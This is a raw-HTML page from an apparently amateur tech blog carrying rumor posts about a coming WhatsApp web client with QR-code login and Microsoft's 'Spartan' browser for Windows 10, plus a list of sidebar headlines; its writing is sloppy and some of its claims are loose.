<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop</div>
<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop<br />
<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop</div>
</div>
<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop<br />
<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop</div>
</div>
<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop</div>
<span style="font-family: Arial, Tahoma, Helvetica, sans-serif; font-size: 14px;">WhatsApp
 may have 600 million users, but when it comes to the web, the messaging
 app is a little behind its competitors such as Telegram, Viber, Line 
and WeChat. That, however, may soon change</span><br />
<br />
<span style="font-family: Arial, Tahoma, Helvetica, sans-serif; font-size: 14px;">AndroidWorld.nl reporters further dug into its investigation and 
found out that WhatsApp has a domain dedicated for a web client. </span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYLqteC1hGtkh9r-TtT40bHDKGJE-vhKUR55X7g_dOh408LMShiB1ILkjJlGr13TN0o3MoCPEjzdLuCTDOKMp_8v3yojONNa_qtvDl0q1TGZsJ3BZb0WzCMskMqi6XYqIVoos6M5pjWgo/s1600/WHATSAPP-PC--590x275.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYLqteC1hGtkh9r-TtT40bHDKGJE-vhKUR55X7g_dOh408LMShiB1ILkjJlGr13TN0o3MoCPEjzdLuCTDOKMp_8v3yojONNa_qtvDl0q1TGZsJ3BZb0WzCMskMqi6XYqIVoos6M5pjWgo/s1600/WHATSAPP-PC--590x275.png" /></a></div>
<br />
<br />
<span style="font-family: Arial, Tahoma, Helvetica, sans-serif; font-size: 14px;">"We still were curious about what the site was going to be and we have assumed some further research," <a href="http://androidworld.nl/apps/whatsapp-web/" target="_blank">writes</a>
 (translated) AndroidWorld.nl. "The first guess was an instant hit; the 
website http://web.whatsapp.com appeared to exist but is protected and 
can only be signed by a Google account.</span><br />
<br />
<br />
Interestingly, the code does not mention WhatsApp founder Facebook, 
which purchased the app for $19 billion, and the web client domain 
features Google login, not Facebook login. The absence of Facebook seems
 to mean that WhatsApp Web will likely not use the social network's 
login utility. Instead, AndroidWorld.nl reports that the web client will
 likely use a technique similar to what Telegram uses to verify the 
user's identity.<br />
<br />
  <br />
Telegram logs users to the web client by sending messages to the 
user's phone. WhatsApp Web is said to do the same, although instead of 
sending text messages, the client will be delivering QR codes that can 
then be scanned to allow the user to log in to the web client.<br />
<br />
<span style="font-family: Arial, Tahoma, Helvetica, sans-serif; font-size: 14px;"><span class="nsa _tQb f _IId">source-: TechTime</span></span><br />
<br /></div>

WhatsApp Will Have Desktop Version Called WhatsApp Web (Roumer)

minix 0

Get ready to use WhatsApp from your desktop Get Ready to Use WhatsApp From Desktop Get Ready to Use WhatsApp From Desktop Get Ready to Use WhatsApp From Desktop Get Ready to Use WhatsApp From Desktop…

Microsoft about to launch a new browser 'spartan' for winodows 10

minix 0 news, tec news

<div dir="ltr" style="text-align: left;" trbidi="on">
According to the new leaked photos of the windows 10 recently it appear that new default browser in windows 10 will be called 'spartan'<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCWbXIti1aWKBH5aFF4MO-6dfuYkSjJFp-Fgxi05fpRQZ0eAhNs3laLDdiKMT8fzORW5M-ymRVMHzfRLTYyceKB-DP4daXkHFbDoCHmGs0P9fXMQO17wFxAppZOVmhZmX11yanL3QaP3U/s1600/microsoft's+new+browser+spartan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCWbXIti1aWKBH5aFF4MO-6dfuYkSjJFp-Fgxi05fpRQZ0eAhNs3laLDdiKMT8fzORW5M-ymRVMHzfRLTYyceKB-DP4daXkHFbDoCHmGs0P9fXMQO17wFxAppZOVmhZmX11yanL3QaP3U/s1600/microsoft's%2Bnew%2Bbrowser%2Bspartan.png" /></a></div>
<br />
<br />
<br />
according to zdnet and ibnlive report  new browser spartan is a mixture of mozila firefox and chrome but it is not an internet explorer . the next IE release — which may be known as IE 12 if Microsoft continues to follow its current naming conventions — is expected to look more like a cross between Chrome and Firefox, with an alleged new tab layout and support for browser extensions.<br />
<br />
microsoft want to remove the bad image of internet explorer it is slow and more complicated to user as the image of internet explorer will be same as it seams <br />
<br />
people are using chrome about 80% and may be give a hike to new Microsoft browser <br />
<br />
as it work completely on java and some more features of chrome and mozila but the bad image of internet explorer remain same<br />
<br />
"Ok so Microsoft is about to launch a new browser that's not Internet
 Explorer and will be the default browser in Windows 10. Wow," he 
tweeted.<br />
<br />
Spartan will look and feel more like Chrome and Firefox, however,
 it will support extensions, reports said. The "lightweight" browser 
will be available on both desktop and mobile devices in Windows 10, they
 said.<br />
<br />
Internet Explorer has a poor reputation among developers and 
users, much of which is rooted in Microsoft's traditional preference for
 proprietary tools over open standards.<br />
<br />
Although that stance has changed considerably since the early 
days of IE, the stigma about it is so great that Microsoft recently made
 an ad explaining that the browser's poor reputation is not deserved.<br />
<br />
now its a big question on Microsoft that this new browser win users heart by showing the mixture of mozila and chrome :D lets see.. </div>

Microsoft about to launch a new browser 'spartan' for winodows 10

minix 0 news, tec news

According to the new leaked photos of the windows 10 recently it appear that new default browser in windows 10 will be called 'spartan' according to zdnet and ibnlive report new browser spartan is a…

what is RIF ? - Remote File Inclusion

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Who provides the Internet service to Internet Service Providers (ISPs)?

If 32-bit machines can only handle numbers up to 2^32, why can I write 1000000000000 (trillion) without my machine crashing?

Keep Your Passwords Safe with Password Safe

WhatsApp Will Have Desktop Version Called WhatsApp Web (Roumer)

Microsoft about to launch a new browser 'spartan' for winodows 10

MIUI 8 Global Beta ROM 6.7.5 Released

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